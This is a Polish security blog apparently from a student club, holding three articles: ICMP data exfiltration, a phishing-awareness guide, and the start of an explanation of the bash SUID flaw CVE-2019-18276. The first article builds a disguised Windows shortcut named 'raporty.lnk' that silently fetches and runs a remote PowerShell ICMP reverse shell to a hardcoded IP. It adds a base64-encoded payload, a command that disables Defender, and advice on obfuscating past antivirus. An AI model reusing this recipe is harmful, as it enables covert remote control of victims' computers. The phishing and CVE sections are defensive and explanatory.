Zbędne dane - dane o pakiecie powinny być użyte tylko do kontroli poprawności danych. Przy większej ilości danych wyświetlanie ich użytkownikami wraz z danymi, jest zaśmiecaniem ekranu.
Spowalnianie pakietów - wszystkie pakiety wysłane na raz, mogą się wydać podejrzane. Z tego powodu chwila przerwy między pakietami może pozwolić łatwiej uniknąć wykrycia.

Oczywiście można je w ramach praktyki pokonać samemu, ale jak to bywa w Internecie, pojawia się wiele gotowych przykładów, które wystarczy przystosować na własny użytek. Poniżej kilka wartych wspomnienia przykładów:

Taki komunikator po protokole ICMP nie musi służyć tylko do testowania zabezpieczeń (w dobrych lub niecnych zamiarach). Można go również użyć jako formy obejścia bezsensownych ograniczeń np. w hotelowym wifi.

Trochę zabawy

Teraz by zademonstrować bardziej zaawansowane użycie, stwórzmy prostego wirusa, którego przemycimy w pliku Windowsowego skrótu (rozszerzenie .lnk). Taki plik po kliknięciu będzie uruchamiał zdalną linię komend po protokole ICMP, która połączy się z naszym serwerem.

Dlaczego skrót windowsowy?

Bo pozwala również na wykonywanie skryptów, jeśli zamiast docelowego folderu podamy plik powershell.exe lub cmd.exe z argumentami.
Standardowy użytkownik może uruchomić skrót pobrany z Internetu ze znacznie mniejszą ilością ostrzeżeń niż np. plik exe
Można mu przypisać dowolną ikonę, np. ikonę folderu, inny rodzaj pliku będzie sygnalizowała tylko mała strzałka w lewym dolnym rogu. W ten sposób łatwo go pomylić z folderem.

Klient

W ten sposób możemy wrzucić tam powershellowy skrypt, wspomniany wcześniej: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1

Pole Target skrótu ma ograniczoną pojemność, prawdopodobnie nie zmieści się tam żaden bardziej skomplikowany skrypt, ale też nie musi. Taki skrypt można pobrać np. bezpośrednio z githuba (choć lepiej w rzeczywistym użyciu postawić, na mniej podejrzane źródło). W powershellu będzie to wyglądało w ten sposób:

(Invoke-WebRequest https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content | Invoke-Expression

# Z użyciem powershellowych aliasów na komendy - oszczędzajmy miejsce!
(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex

Invoke-WebRequest pobiera zawartość strony, jest odpowiednikiem curl’a w powershellu. Invoke-Expression wykonuje komendy powershellowe zawarte w napisie (Stringu) - w tym wypadku definicję funkcji Invoke-PowerShellIcmp

Kiedy definicja funkcji / modułu jest już załadowana, można jej używać w danym kontekście powershellowym:

Invoke-PowerShellIcmp -IPAddress 51.37.175.232

Niestety dla Czerwonych próba załadowania definicji funkcji z użyciem połączonych mocy Invoke-WebRequest or Invoke-Expression zostanie zablokowana przez funkcję Real Time Protection Windows Defendera.

Możemy ją tymczasowo wyłączyć również przy użyciu powershella, ale wymaga to uprawnień administratora:

Set-MpPreference -DisableRealtimeMonitoring $true

Jak więc obyć się bez tego? W tym celu potrzeba obejść sygnatury, których szuka Windows Defender w wykonywanym kodzie. Rozwiązaniem jest tzw. Obfuskacja. To celowe mieszanie kodu tak by był mniej czytelny - dla ludzi, oraz antywirusów. Będzie to np. zakodowanie części payloadu (np. w base64), lub zaszyfrowywanie go (np. w AES). Przykładowo nasz payload uruchamiający zdalną linię komend możemy zaciemnić w ten sposób:

powershell.exe -c '(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex'

# Base64 - kiedyś to działało!
powershell.exe -enc KGl3ciBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsSWNtcC5wczEpLkNvbnRlbnR8aWV4O0ludm9rZS1Qb3dlclNoZWxsSWNtcCAtSVBBZGRyZXNzIDUxLjM4LjE4NS4yMzIK

To bardzo podstawowe użycie, obecnie Windows Defender (i zapewne każdy inny antywirus), wykryje złośliwy kod zapisany w ten sposób. Skuteczna obfuskacja w dzisiejszych czasach wymaga wielokrotnego i wielopoziomowego zaciemniania kodu różnymi metodami. Z pomocą może nam przyjść tutaj framework - Invoke-Obfuscation

Ideę obfuskacji świetnie obrazuje jego ekran startowy:

Przykład obfuskacja.

Odpowiednio zmienioną z użyciem Invoke-Obfuscation komendę kopiujemy w pole Target tworzonego skrótu. Nie ma sensu bym wklejał tutaj wyjściowy kod, który zadziała u mnie, gdyż w ciągu paru miesięcy, może on nie działać wraz z nową wersją Windows Defendera - to już kwestia eksperymentów.

Pojedyncza obfuskacja może być niewystarczająca, warto wykorzystać kilka różnych technik nakładając je na siebie. W przypadku lokalnego testowania na Windowsie 10, trzeba pamiętać by wyłączyć opcję Windows Defendera - Cloud-delivered protection oraz Automatic sample submission. W przeciwnym wypadku nasz payload może zadziałać tylko raz.

Tworzenie skrótu również możemy wykonywać bezpośrednio z powershella, zamiast z windowsowego eksploratora plików. Z poziomu kodu można wrzucić więcej znaków w pole Target niż z poziomu eksploratora plików (tutaj tylko 256 znaków)

# Wyłącz Windows Defender Realtime protection dla testów bez obfuskacji - wymaga admina
# Nie zobfuskowana komenda będzie mogła działać jedynie
# z wyłączoną funkcją Real Time protection 

#Set-MpPreference -DisableRealtimeMonitoring $true

# Stwórz payload
$cmd = '(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex;Invoke-PowerShellIcmp -IPAddress 51.38.185.232'

# Stwórz link
$w = New-Object -ComObject WScript.Shell
$desktop = [system.environment]::GetFolderPath("Desktop")
$link = $w.CreateShortcut("$desktop\raporty.lnk")

$link.TargetPath = 'powershell.exe'
$link.Arguments = "-w h -c `"$cmd`""
$link.workingDirectory = 'c:\'

# Liczba po przecinku ustawia ikonę 
# (numeracja zgodnie z kolejnością w eksploratorze plików)
$link.IconLocation = "C:\Windows\System32\Shell32.dll,3"
$link.save() > $null

Serwer

Wpierw (przed odpaleniem wirusa) musimy ustawić nasłuchiwanie po stronie serwera, w tym celu możemy użyć listenera również z wcześniej wymienianego narzędzia - https://github.com/inquisb/icmpsh

# Wyłącz odpowiedzi serwera na ping 
sysctl -w net.ipv4.icmp_echo_ignore_all=1

# Uruchom listner ICMP Reverse Shell
python icmpsh_m.py <dst_ip> <src_ip>

Wykonanie

Voila! - Po odpaleniu skrótu zobaczymy w naszym listenerze przejście do powershellowej linii komend kontrolującej komputer naszej ofiary.

Podsumowanie

W branży bezpieczeństwa często widać wykorzystanie technologii, w sposób, który nie został przewidziany przez jej twórców. Dane w protokole ICMP, które miały służyć jako dodatkowe informacje dla rozwiązywania problemów sieciowych, można wykorzystać jako pełny kanał komunikacyjny, który łatwo przeoczyć.

To pokazuje potrzebę holistycznego podejścia do tematu - zarówno kiedy musisz zabezpieczyć sieć, jak i kiedy musisz sprawdzić jej zabezpieczenia.

Niebiescy

Blokuj ruch ICMP na firewall’u wychodzącym do Internetu i każdy ruch, który nie jest niezbędny
Używaj dynamicznej analizy pakietów ICMP w sieci wewnętrznej
Ciągle obserwuj pojawiające się nowe zagrożenia i reaguj na nie. Bezpieczeństwo jest ciągle trwającym procesem, ekfiltracja po ICMP może być znana już dawno, ale ta z wykorzystaniem innego protokołu, mogła pojawić się wczoraj

Czerwoni

Szukaj niestandardowych rozwiązań i omijaj popularne, jeśli boisz się wykrycia
Samo wysłanie danych ICMP nie wymaga uprawnień administracyjnych (nasłuchiwanie / C&C shell już tak), może czasami to dość by wyciągnąć dane?
Nadużywaj natywnych rozwiązań (np. ping), zamiast szukać gotowych narzędzi

Biblioteczka

Wykrywanie

Phishing

Thu, 07 May 2020 00:00:00 +0000

O phishingu pewnie każdy z nas słyszał - nawet jeśli sama nazwa nic nie mówi. W folderze Spam w naszym ulubionym kliencie pocztowym z pewnością zalega wiele wiadomości o czekającym spadku po dalekim krewnym z Afryki, czy kuszące obniżki na nasz ulubiony produkt. Banki starają się propagować dobre praktyki, poprzez powiadomienia w aplikacjach mobilnych i na stronach: Nie klikaj w linki, Pracownik nie poprosi cię o hasło, Nie podawaj danych osobowych nieznajomym. Robią to nie bez powodu.

Disclaimer

Celem tego artykułu jest tylko i wyłącznie ostrzeganie użytkowników przed zagrożeniami oraz informowanie ich o najpopularniejszych metodach manipulacji wykorzystywanych przez cyberprzestępców. SKN White-Hats nie odpowiada za straty poniesione w wyniku phishingu.

Czym jest phishing?

Każdy z nas ma jakiś słaby punkt. Taką słabość można wykorzystać, aby wykraść nasze dane. Granie na ludzkich emocjach od zawsze było czymś, na czym bazowali politycy, mówcy, a teraz także hakerzy. Wystarczy chwila nieuwagi i wszystko, co mieliśmy może zniknąć. Aby tego dokonać, przestępcy mogą wykorzystać właśnie phishing. Polega on na podszyciu się przez przestępcę pod inną instytucję/osobę, do której odbiorca może mieć zaufanie i jego czujność jest zmniejszona. Zgodnie z raportem firmy Webroot na rok 2017, co miesiąc powstawało około 1.3 miliona unikalnych stron phishingowych. Według informacji dostarczonych przez FBI (2017), straty finansowe na całym świecie szacuje się w miliardach dolarów (i kwota ta stale rośnie).

Trochę liczb

45% wszystkich wysłanych maili to spam
według statystyk na 2019 rok, Amerykanie stracili co najmniej 703 tysiące dolarów w ramach scamów na “Nigeryjskiego Księcia”
skutki ataków phishingowych opiewają na 20 miliardów dolarów rocznie
na każde 12.5 miliona wysłanych maili spamerskich, odpowiedź przychodzi na jednego

(źródło) (źródło)

Jak dostarczyć phishing?

Istnieje wiele wektorów ataku, jakie mogą zostać przeciwko nam wykorzystane. Przestępcy będą starali się wykorzystać każdy z nich, byle tylko dostać to co chcą.

Wektor ataku – czynnik, który pozwala na zaatakowanie aplikacji bądź osoby – np. jeżeli atakujemy stronę internetową, to wektorem ataku może być źle skonfigurowany panel logowania (SQLi)

Wśród tych najpopularniejszych wymienić można:

homoglify
typosquatting
open redirect
data URI
clickjacking
RTLO

Czasem jednak wystarczy stara dobra socjotechnika.

Socjotechnika

Phishing bardzo często wykorzystuje tą technikę, aby wywrzeć wpływ na odbiorcę. Korzysta z naturalnych odruchów oraz psychiki człowieka, formułując tak komunikat, aby wzbudzić skrajne emocje w grupie docelowej wiadomości. Dodatkowo nie pomagają idealnie sklonowane strony sklepów czy instytucji finansowych.

Rozpoznałbyś/aś, że jest to phishing?

Jakie motywy najczęściej wykorzystuje się w treści wiadomości phishingowych? Poniżej kilka przykładów – zastanów się jakie emocje mogą wywołać u odbiorcy:

nastąpiło wiele prób nieudanego logowania się na twoje konto.
twój bank zmienił zabezpieczenia online – ustaw je teraz!
zalegasz z płatnością za kredyt, za podatki – opłać je jak najszybciej!
dopłać do paczki, aby dotarła na czas.
twoje konto jest zawieszone – kliknij, aby potwierdzić swoje konto.
dostałeś zaproszenie do znajomych w mediach społecznościowych – kliknij aby je przyjąć.
źródło newsów podsyła ci link do super sensacyjnego artykułu – pod linkiem zobacz dramaty polskiej wsi!
Polski Czerwony Krzyż prosi o pomoc w walce z głodem na świecie – przekaż środki, aby wspomóc fundacje.

Nie tylko mailem przychodzą phishingi [Źródło]

Każdy z tych powyższych podpunktów odwołuje się do różnych emocji. Dobrze skonstruowana socjotechnika najczęściej wzbudza w nas:

chciwość – widzimy, że wygraliśmy telefon – chcemy go otrzymać.
strach – wskazywanie na złamanie zabezpieczeń na naszym koncie – zrób coś z tym, bo inaczej pieniądze przepadną!
szacunek do władzy – musimy przecież opłacić podatek, w końcu jesteśmy wzorowymi obywatelami.
chęć poznawania nowych ludzi i nawiązywania kontaktu – nasze zainteresowanie na temat tego kto nas zaprasza, może być zgubne.
ciekawość – o takim czymś nie słyszałem, warto to sprawdzić.
współczucie – biedni ludzie, którzy głodują – trzeba im pomóc!
niepewność – a co jeśli nie zweryfikuje tych nieudanych połączeń – konto mi przepadnie?
naiwność – są osoby, które mogą na ślepo wierzyć, że ktoś nieznajomy potrzebuje pomocy.
wyjątkowość – tylko ty jesteś w stanie wspomóc moje dziecko w walce z chorobą!
presja czasu - kliknięcie tu jest wymagane, w przeciwnym wypadku Twoje konto zostanie zablokowane w ciągu 2 dni!
brak wiedzy – są na świecie ludzi mniej technicznych, którzy nie są świadomi zagrożenia – nie wiedzą, że źli ludzie są w stanie ich okraść przez maila/internet.

Niemniej jednak można w dość prosty sposób rozpoznać próbę manipulacji w treści wiadomości, weryfikując czy zawiera:

niekonkretne powitanie/pożegnanie – np. Witaj!, zamiast np. Droga Ewelino Ptak
błędy gramatyczne, ortograficzne, interpunkcyjne.
ponaglające zwroty – zrób coś szybko, zalecamy bez zwłoki…
nieskładne zdania
brak wskazania nadawcy
błędy merytoryczne – np. numer zamówienia z tematu wiadomości nie zgadza się z treścią.
podkreślanie wyjątkowości odbiorcy

Co tu jest nie tak?

Więcej informacji o samej socjotechnice oraz metodach wykrywania phishingu można odnaleźć w książce „Mroczne Odmęty Phishingu” (Ch.Hadnagy and M.Fincher)

Homoglify

Homoglif – znak alfanumeryczny (litera lub cyfra; glif), którego kształt interpretowany może być na więcej niż jeden sposób, na przykład cyfra zero i wielka litera O.

Jest to często spotykany sposób, w jaki przestępcy chcą podejść naszą czujność. Weźmy na przykład domenę facebook.com. Każda z osób, która posiada profil w tym serwisie dostała conajmniej jednego maila z dowolną informacją - czy to potwierdzenie hasła, czy niewyłączone powiadomienie o osobach, które można poznać. Wykorzystując opisywaną tu metodę, można wytworzyć wiele adresów, które wyglądem będą do złudzenia przypominać oryginał:

ｆаｃｅｂооｋ.com
ｆаｃeｂооｋ.com
ｆаcｅｂооｋ.com
ｆaｃｅｂооｋ.com

Na podanych przykładach być może widać drobne różnice w odległościach między literami, ale gdy taki adres podany będzie drobną czcionką w mailu, to prawdopodobieństwo niezauważenia różnic drastycznie rośnie. I nie oszukujmy się - kto z nas regularnie bada odległości między znakami w adresach URL bądź sprawdza kod każdej litery. Tak właśnie działa ta metoda - litery alfabetu łacińskiego (najczęściej wykorzystywanego w domenach) podmieniane są na bardzo podobne znaki o innej wartości Unicode.

Zestawienie wartości Unicode każdego znaku z oryginału i domeny phishingowej.

Biorąc pod uwagę, iż na świecie jest obecnie 2.6 miliarda (stan na 1. kwartał 2020) aktywnych kont, to jest duża szansa na to, że atakujący trafi w kampanii mailingowej na kogoś, kto nie zauważy różnicy i kliknie w podanego linka.

Innym dobrym przykładem jest akcja rosyjskiej grupy hakerów opisana na portalu sekurak.pl

Jak znaleźć odpowiednie litery, żeby stworzyć coś takiego? Jest to dziecinnie proste - cały proces opisany został tutaj

Typosquatting

Technika ta, polega na wykorzystywaniu typowych błędów popełnianych przez użytkowników Internetu podczas wpisywania adresu w przeglądarce lub, jak to zwykle bywa w przypadku phishingu, nieuwagi.

Przykładowe domeny podrabiające adres example.com:

examlpe.com
examplec.om
example.com.<ciąg znaków/domena atakującego>

Idealnym przykładem z życia codziennego będzie tu strona polskiego portalu zajmującego się bezpieczeństwem komputerowym niebezpiecznik.pl. Każdemu z nas zdarzają się pomyłki i to też wykorzystali twórcy wspomnianego serwisu, wykupując domenę niebespiecznik.pl. Odległość litery z od s na klawiaturze QWERTY i jednocześnie ludzka nieuwaga sprawiają, że jest to świetny materiał na stronę phishingową (którą nie jest, polecamy materiały Niebezpiecznika).

Typosquating, który Cię nie okradnie.

Nie wszystkie tak stworzone strony będą jednak służyć do edukacji. Zgodnie z informacją z portalu domainnamewire.com, od 2006 roku istniały domeny goggle.com, goggle.net oraz goggle.org, na których przestępcy umieszczali swój złośliwy kod. Do dzisiaj (z przerwami) strona pojawia się jako rozpowszechniająca szkodliwe oprogramowanie.

Open redirect

Podatność open redirect polega na tym, że oprogramowanie stojące za stroną internetową nie weryfikuje adresów, na które dana strona przekierowuje. Objawia się to możliwością ‘podpięcia’ swojej złośliwej domeny poprzez dowolny, podatny portal.

Przykładowy kod w języku Java, umożliwiający zastosowanie open redirect:

response.sendRedirect(request.getParameter("url"));

I jego wykorzystanie przekierowujące na example.com:

W razie gdy otrzymamy na maila link do strony, na której istnieje taka podatność, a klient pocztowy nie wyświetli całości URL’a to możemy w niezauważony sposób zostać przekierowani na adres przestępcy. Często link docelowy będzie zobfuskowany, tak, aby użytkownik nie zauważył nic groźnego.

Obfuskacja - zaciemnianie kodu, często stosowane, aby zamaskować działanie programu i uczynić go trudniejszym do analizy.

Świetne wykorzystanie takiej podatności opisane zostało w jednym z wpisów na portalu sekurak.pl.

Do poczytania: ściąga od OWASPu na temat braku walidacji przekierowań

Clickjacking

Każdemu się pewnie zdarzyło choć raz w życiu wejść na stronę o treści np. “Wygraj iPhone X”. Niewprawiony w świat internetu użytkownik klika przycisk “Wygraj” i…właśnie wysłaliście wszystkim znajomym z Twittera’a złośliwy link. Jak to się dzieje?

Nad przyciskiem Wygraj stworzony został niewidoczny obiekt iframe, a w nim inny przycisk, na przykład powodujący wrzucenie Tweet’a przy pomocy konta użytkownika zalogowanego w tej samej przeglądarce. Jest to prawdziwa sytuacja i została opisana tutaj.

iframe - element języka HTML, umożliwiający zawieranie dokumentu HTML wewnątrz innego dokumentu HTML.

Clickjacking przetestować można na własnej skórze tutaj. Oczywiście jest to duże uproszczenie, ale pokazuje, że dzięki tej metodzie można zrobić praktycznie wszystko.

Data URI

URI - standard internetowy umożliwiającym łatwą identyfikację zasobów w sieci. Podzbiorem URI jest URL, czyli np. http://example.com.

Budowa URI.

Interesującą nas w tym przypadku formę zapisać można w następujący sposób:

data:[<mime type>][;charset],<data>

MIME type to dowolny typ zawartości np. text/html lub image/jpeg
charset to sposób, w jaki kodowana jest informacja np. base64 lub utf-8.
data to dane zakodowane w sposób podany w polu charset.

W taki sposób wygenerowany został na tej stronie poniższy obrazek:

data:image/png;base64,iV.....==

I w identyczny sposób możesz sprawić, że zawartość tej strony zniknie:

Tak oto możemy dostarczyć ofierze dowolną stronę internetową bądź skrypt (w postaci typu text/html) i zaatakować.

RTLO

W tej technice wykorzystywany jest znak unicode U+202E (RIGHT-TO-LEFT OVERRIDE). Został on dodany do unicode w 1993 roku i wykorzystywany jest np. przy językach czytanych od lewej do prawej (hebrew, arabski).

W ramach Kursu Pentestera opowiadamy, jak można wykorzystać to do tworzenia plików wykonywalnych. W skrócie: plik o nazwie verygoodfil\u202Efdp.exe wyświetlany będzie jako verygoodfilexe.pdf. Tą technikę wykorzystać można do przesłania ofierze spreparowanego skryptu, który po “otwarciu” wykona określone czynności na maszynie docelowej.

Jak się przed tym wszystkim bronić?

Przedstawione przez nas metody to nie jest cały arsenał cyberprzestępców. Skutkom phishingu można jednak zapobiec stosując parę uniwersalnych zasad.

Nie klikaj w linki znajdujące się w wiadomościach (email, SMS).

Przed udaniem się pod otrzymany adres, najedź na niego myszką i zobacz na co zostaniesz przekierowany. W przypadku gdy jesteś na telefonie, możesz go skopiować, wkleić do notatnika (np. Google Keep) i zobaczyć jak naprawdę wygląda.

Nie uruchamiaj programów otrzymanych z nieznanych adresów.

Działając na Windowsie, lampka powinna się zaświecić np. przy plikach które w nazwie mają exe lub tab (patrz: RTLO). Świetny przykład analizy pliku otrzymanego w mailu phishingowym można znaleźć we wpisie od Zaufanej Trzeciej Strony

Aktualizuj przeglądarkę, z której korzystasz.

Najnowsze przeglądarki bardzo skutecznie radzą sobie z popularnymi phishingami

Nigdy nie wysyłaj poufnych informacji mailem.

Jeśli już musisz, to koniecznie zastosuj szyfrowanie. Poczytać o tym można tutaj i tutaj

Uważaj na pop-upy.

Bardzo często atakujący będzie chciał zwrócić uwagę ofiary wykorzystując wyskakujące okienka. Zablokować je można np. bezpośrednio w ustawieniach przeglądarki Firefox i Chrome

Nie jesteś pewien? Przeskanuj!

W internecie znaleźć można wiele serwisów oferujących darmowe usługi skanowania stron internetowych np.: Virustotal czy urlscan.io.

Przykładowe wyniki skanowania.

Sprawdź poprawność domeny.

Przyszedł mail i pojawiły się wątpliwości co do jego pochodzenia? Sprawdź, czy domena (wszystko po znaku @) naprawdę należy do tego, za kogo się podaje. Możesz to zrobić wykorzystując portal whois.net lub jego polski odpowiednik. To samo możesz zrobić z domenami, na które jesteś przekierowywany z linków - młode strony powinny wzbudzić podejrzenia.

Sprawdź do kogo wraca mail w odpowiedzi.

Czasem warto po prostu kliknąć Odpowiedz i zobaczyć do kogo wraca dany mail. Przestępcy mogą podmienić nagłówki w mailu i dzięki temu zabiegowi co innego wyświetla się jako nadawca, a co innego tak naprawdę znajduje się w tym polu.

Nie wierz w zieloną kłódkę.

Obecnie utworzenie strony internetowej z poprawnym szyfrowaniem (zielona kłódka lub https przed adresem) nie jest trudne. Jest to ważny czynnik weryfikujący strony, ale nie powinien być tym głównym, na którym opieramy swój werdykt.

Zweryfikuj czy adres nadawcy pasuje do tego za kogo się podaje.

Czasem, aby nabrać podejrzeń wystarczy spojrzeć na to, kto się podpisał w mailu i jak wygląda adres, z którego przyszła wiadomość. Banki nigdy nie poproszą o dane i nie będą kazały klikać w linki - zazwyczaj będzie to instrukcja jak coś zrobić.

Dla bardziej zaawansowanych - sprawdź nagłówki maila.

Niektóre programy pocztowe umożliwiają podgląd nagłówków wiadomości - dzięki temu można zweryfikować, skąd dany mail przyszedł, dokąd wraca i co tak naprawdę się w nim znajduje.

Dla bardziej zaawansowanych - sprawdź certyfikaty.

Może i strona ma zieloną kłódkę, ale co kryje się pod nią? Sprawdź ścieżkę certyfikacji. Zazwyczaj strony phishingowe zawierają certyfikaty self-signed (ale nie zawsze!) np. Let’s Encrypt. Przeskanuj domenę na portalu crt.sh. Zweryfikuj od kiedy certyfikat jest ważny - te, które istnieją od niedawna, powinny wzbudzić podejrzenia.

Dla bardziej zaawansowanych - wykorzystaj znajomość popularnych metod phishingowych.

W tym artykule opisaliśmy kilka najpopularniejszych metod jakimi posługują się cyberprzestępcy - wykorzystaj to! W cyberświecie trzeba znać swojego wroga. Wiedza na temat tego jak może działać atakujący, pomaga w przeciwdziałaniu jego czynom.

Podsumowanie

Phishing jest to coś, z czym na pewno się w życiu spotkaliśmy (nawet nieświadomie) i aby uniknąć przykrych konsekwencji, trzeba wiedzieć jak się z nim obchodzić.

Nie jesteś pewny swoich umiejętności rozpoznawania phishingu? Sprawdź się w naszym teście - nic to nie kosztuje!

CVE-2019-18276 - SuidBash

Tue, 21 Apr 2020 00:00:00 +0000

W tym artykule skupiono się na podatności oznaczonej jako CVE-2019-18276. Była ona ówczesnym 0-day’em w powłoce basha odkrytym przez Iana Pudney’a. Błąd pojawił się na zawodach Google CTF jako element zadań finałowych.

Podatność polega na złym zarządzaniu uprawnieniami w powłoce bash. Powoduje to, że w szczególnych przypadkach możliwe jest korzystanie z niego przy użyciu cudzych uprawnień. W tym artykule omówiono niektóre mechanizmy systemu Linux konieczne do zrozumienia istoty błędu oraz stojące za nim szczegóły, by w końcowej części artykułu odtworzyć cały atak i wykorzystać podatność celem odczytania pliku, który należy do innego użytkownika.

Teoria

Flaga Set User Identity (SUID)

Chcąc zmienić hasło użytkownika w systemie Linux, można skorzystać z programu passwd. Program ten pobiera hasło użytkownika i zapisuje w pliku /etc/shadow w formie skrótu (np. MD5, SHA-512) . Jednak uruchomienie go z prawami zwykłego użytkownika nie powinno się udać, ponieważ plik /etc/shadow należy do użytkownika root oraz do grupy root. Co więc sprawia, że można bezproblemowo używać programu passwd jako zwykły użytkownik i modyfikować plik, który do niego nie należy?

Odpowiedzialną za taki stan rzeczy jest flaga SUID (ang. Set User Identification) i mechanizm z nią powiązany. Powodem jej istnienia jest potrzeba zasygnalizowania, by przy uruchamianiu programu wykorzystać prawa właściciela (a nie aktywnego użytkownika) pliku do jego działania. Dla przykładu, w programie passwd czy sudo obecna jest flaga SUID, która pozwala na jego wykonanie przez użytkownika z uprawnieniami właściciela. O obecności omawianej flagi informuje litera s w listingu uprawnień:

kali@kali:~$ ls -l /bin/passwd
-rwsr-xr-x 1 root root 63960 Feb 7 09:54 /bin/passwd
kali@kali:~$ ls -l /bin/sudo
-rwsr-xr-x 1 root root 161800 Feb 2 02:07 /bin/sudo

Aby włączyć tą możliwość i ustawić flagę SUID należy skorzystać z polecenia chmod:

kali@kali:~$ chmod o+s <file>

Analogicznie działa bit SGID (ang. set group identity), z tą różnicą, że przyznaje uprawnienia grupy, do której należy użytkownik dodający flagę.

Identyfikatory użytkowników - czym są uid, euid oraz suid?

Aby zrozumieć w jaki sposób zachodzi sterowanie uprawnieniami, należy wyjaśnić czym jest identyfikator użytkownika i jakie są jego rodzaje:

uid - numeryczny identyfikator użytkownika (ang. User ID). Jest on używany w celu identyfikacji użytkownika w systemie oraz np. wewnątrz działających procesów na potrzeby przydzielania uprawnień do ich poszczególnych zasobów. Informuje on także do jakiej grupy należy użytkownik - dla przykładu, w systemach opartych o architekturę Linux Debian uid z zakresu [1000-59999] należą do zwykłych użytkowników, natomiast uid=0 należy do roota (więcej informacji na temat przydzielania uid oraz ich zakresów w Debianie można znaleźć pod tym linkiem) W kontekście wykonywania programu uid zapisuje się także dla odróżnienia jako ruid (Real User ID). Zmienna ruid przyjmuje po prostu wartość uid użytkownika aktualnie wykonującego program.

suid - (ang. Saved User ID) - służy do zapisywania uprawnień przed ich zmianą (gdy program chwilowo zażąda niższych uprawnień). Gdy jednak program będzie chciał wrócić do porzuconych wcześniej uprawnień, pobierze je właśnie ze zmiennej suid.

euid - (ang. Effective User ID) - jest zmienną przechowującą uid użytkownika będącego właścicielem pliku z ustawioną flagą SUID.

Działanie flagi SUID w praktyce

Po uruchomieniu programu posiadającego ustawiony bit SUID, dzieją się następujące rzeczy:

UID użytkownika uruchamiającego program zostaje zapisane w zmiennej suid
UID właściciela pliku zostaje zapisane w zmiennej euid
(r)UID (real user ID) w momencie uruchomienia programu pozostaje niezmienne (przyjmuje wartość użytkownika uruchamiającego program)
Program zostaje uruchomiony z uprawnieniami właściciela (pobranymi ze zmiennej euid)
Jeżeli program, po wykonaniu części wymagającej uprawnień właściciela, już ich nie potrzebuje - uprawnienia zostają zmniejszone (zasada minimalnych uprawnień). Program pobiera je wtedy ze zmiennej suid.
Program dalej wykonuje się z uprawnieniami użytkownika uruchamiającego plik - bez uprawnień właściciela.

Wywołanie systemowe setuid()

Jeżeli uruchamiany plik posiada ustawioną flagę SUID, to uruchomi się on z uprawnieniami właściciela pliku - wiemy to już z poprzednich akapitów.

Ale co w sytuacji, kiedy proces porzuci je (ponieważ w danej sytuacji ich już nie potrzebuje), lecz potem zajdzie sytuacja, w której proces będzie z powrotem potrzebować wcześniej porzuconych uprawnień? W systemie Linux, ze względów bezpieczeństwa, proces może tylko i wyłącznie obniżać swoje uprawnienia, więc powinno być to niemożliwe.

Okazuje się jednak, że istnieje wywołanie systemowe, które to umożliwia, a jest nim setuid(). Powoduje ono przypisanie do (r)uid wartości euid. Dzięki niemu, przy obecności flagi SUID, proces może wrócić do porzuconych wcześniej uprawnień. Jest to jedyny wyjątek, kiedy proces może podwyższyć swoje uprawnienia w trakcie działania procesu. Jednak dzieje się to tylko w określonych warunkach - szczegółowo opisuje je dokumentacja:

setuid() sets the effective user ID of the calling process. If the calling process is privileged (more precisely: if the process has the CAP_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set. […] If the user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID’s are set to uid. After this has occurred, it is impossible for the program to regain root privileges.

Oznacza to, że proces może przywrócić uprawnienia tylko wtedy, gdy poprzednio nie należał do roota (ponieważ w przeciwnym wypadku wszystkie 3 zmienne - euid, suid oraz (r)uid zostaną nadpisane, a wywołanie nie pozwoli na powrót do uprawnień roota ).

W związku z tym, wywołania setuid można użyć do przywrócenia porzuconych uprawnień tylko wtedy, kiedy plik posiadający ustawioną flagę SUID nie należy do użytkownika root.

Mechanizm porzucania uprawnień w bashu

W dokumentacji powłoki bash można odnaleźć następujący tekst:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id.

Sytuacja, w której euid nie jest równe (r)uid może mieć miejsce tylko i wyłącznie wtedy, gdy w pliku wykonywalnym basha jednocześnie zostanie włączona flaga SUID oraz gdy zostanie on wykonany przez użytkownika nie będącego właścicielem pliku (pod warunkiem, że właściciel nie jest rootem). Wtedy (r)uid przyjmuje uid użytkownika wykonującego program, a euid przyjmuje wartość uid właściciela (będą różne od siebie).

If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

Flaga ‘-p’ jest skrótem od priviliged i, jak wskazuje dokumentacja, pozwala na uruchomienie powłoki bash bez zmiany wartości euid. Spowoduje to, że nie będzie można ich odzyskać, ponieważ euid będzie równe (r)uid.

Jednak rezygnacja z flagi -p przy jednoczesnej obecności flagi SUID doprowadzi do interesującej sytuacji. Wartości euid oraz (r)uid będą różne i w konsekwencji bash porzuci uprawnienia zapisując je w zmiennej suid, a Effective UserID zmieni na wartość uid użytkownika, który go uruchomił.

Co więc to wszystko daje?

Jeżeli bash posiada flagę SUID i jego właścicielem nie jest root, to po jego uruchomieniu (bez trybu uprzywilejowanego) komendą:

kali@kali:~$ bash

dojdzie do sytuacji, w której uprawnienia zostaną porzucone, ponieważ uid != euid. Jednak jeżeli uda się użyć wywołania systemowego setuid, to będziemy w stanie odzyskać uprawnienia użytkownika, do którego oryginalnie należy plik.

Jak więc to zrobić w praktyce?

Praktyka (Proof of Concept)

Najnowsza wersja basha nie posiada omawianej podatności, stąd do przeprowadzenia ataku należy użyć jego starszej wersji. O ile obniżenie wersji powłoki w systemie nie jest raczej zalecane, to pobranie i kompilacja osobnego basha nie powinna być problematyczna. Źródło basha 4.4 (i wielu innych wersji) można pobrać ze strony ftp.gnu.org/gnu/bash/. Następnie należy skompilować i zainstalować pobrane pliki:

